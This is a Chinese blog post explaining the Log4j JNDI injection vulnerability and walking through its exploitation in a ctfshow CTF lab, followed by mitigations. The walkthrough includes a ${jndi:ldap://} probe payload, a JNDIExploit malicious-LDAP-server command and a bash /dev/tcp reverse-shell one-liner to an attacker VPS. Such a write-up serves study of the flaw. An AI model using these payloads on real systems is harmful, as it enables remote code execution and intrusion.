log4j漏洞原理和靶场复现

目录

前言

一、Log4j的前置知识

1,JNDI接口

2,LDAP协议

3,RMI协议 

4,Log4j

二、Log4j漏洞的成因

三、Ctfshow靶场复现

四、Log4j的临时缓解措施


前言

提示:这里可以添加本文要记录的大概内容:

Log4j作为核弹级别的漏洞,影响十分广泛,作为刚入门网络安全的小白,之前对Java的知识很不熟悉,最近接触了一点关于SpringBoot2的微服务开发,对Java有了些许了解。因此,了解了一下Log4j漏洞,做个小小的总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Log4j的前置知识

1,JNDI接口

解释:JNDI全称为 Java Naming and Directory Interface,是JAVA命名和目录接口的一种JAVA API,应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

2,LDAP协议

解释:LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。

3,RMI协议 

解释:JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4,Log4j

解释:Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二、Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三、Ctfshow靶场复现

1,进入靶场

log4j漏洞原理和靶场复现_第1张图片

先使用dnslog 域名解析探测是否存在Log4j漏洞,${jndi:ldap://dns},通过ldap协议进行域名解析,被记录则存在漏洞。

log4j漏洞原理和靶场复现_第2张图片

 2,在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 12x.7x.2x.17x -p 4444 启用恶意服务

 通过bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1反弹shell

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

>&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

3,使用nc工具监听端口,接受反弹shell

log4j漏洞原理和靶场复现_第3张图片

BASE64编码后+和=进行一次URL编码才能被工具识别 

log4j漏洞原理和靶场复现_第4张图片

log4j漏洞原理和靶场复现_第5张图片 得到flag(工具的payload有很多,可耐心多尝试几个,由于JDK版本等原因,可能一些不行)

注:若是云服务器,切记配置安全组规则,开启端口出入方向的访问,否则跟我一样傻呆呆。

 原理:通过Lookup接口+LADP,从服务器请求下载了存在恶意payload的class文件,由于日志检测时,存在${则触发替换机制,导致了表达式被替换成了lookup查找到的恶意payload,在请求过程中被实例化解析执行了。

四、Log4j的临时缓解措施

关闭Lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。
 


 总结

Log4j漏洞影响的组件十分之多,触发漏洞的条件低,却能够执行任意的代码,危害十分的高。本来方便开发使用的组件,由于替换的bug酿成大祸。由于JAVA只懂一些,也是没法进行具体的源码分析,路还长,怀着耐心慢慢走。

你可能感兴趣的:(java,web安全)